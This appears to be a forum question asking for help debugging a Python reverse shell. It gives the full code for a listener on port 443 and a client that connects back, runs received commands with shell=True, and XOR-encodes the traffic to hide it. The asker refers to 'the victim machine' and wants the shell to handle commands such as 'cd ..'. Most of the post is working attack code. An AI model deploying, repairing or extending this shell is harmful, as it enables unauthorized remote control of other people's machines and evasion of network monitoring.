Reverse shell using python
<p>I have the following listener and the reverse shell in python:</p>

<p>Listener:</p>

<pre><code>import socket 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip

while True:
 command = raw_input('~$ ')
 encode = bytearray(command)
 for i in range(len(encode)):
   encode[i] ^=0x41
 client.send(encode)
 en_data=client.recv(2048)
 decode = bytearray(en_data)
 for i in range(len(decode)):
   decode[i] ^=0x41
 print decode

client.close()
s.close()
</code></pre>

<p>reverse shell:</p>

<pre><code>import socket, subprocess, sys

RHOST = '127.0.0.1' #sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

while True:
    #receive encoded data
    en_comm = s.recv(1024)
    #decoded the received command
    de_comm = bytearray(en_comm)
    for i in range(len(de_comm)):
        de_comm[i] ^= 0x41

    #execute the clear text comamnd after decode it
    clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output, STDERR = clrtxt_comm.communicate()

    #encode the command output and send it over ssl
    en_output = bytearray(output)
    for i in range(len(en_output)):
        en_output[i] ^= 0x41
    s.send(en_output)

s.close()
</code></pre>

<p>After start the listener and trigger the reverse shell, it runs ok and opens shell in the victim machine, but the big thing is that when send commands like "cd .." or "mkdir foldername" (in case of Windows) it stuck in the same input and do not go further.</p>

<p>Do you see/ realize what is the issue in the code ?</p>

<p>Thanks a lot !</p>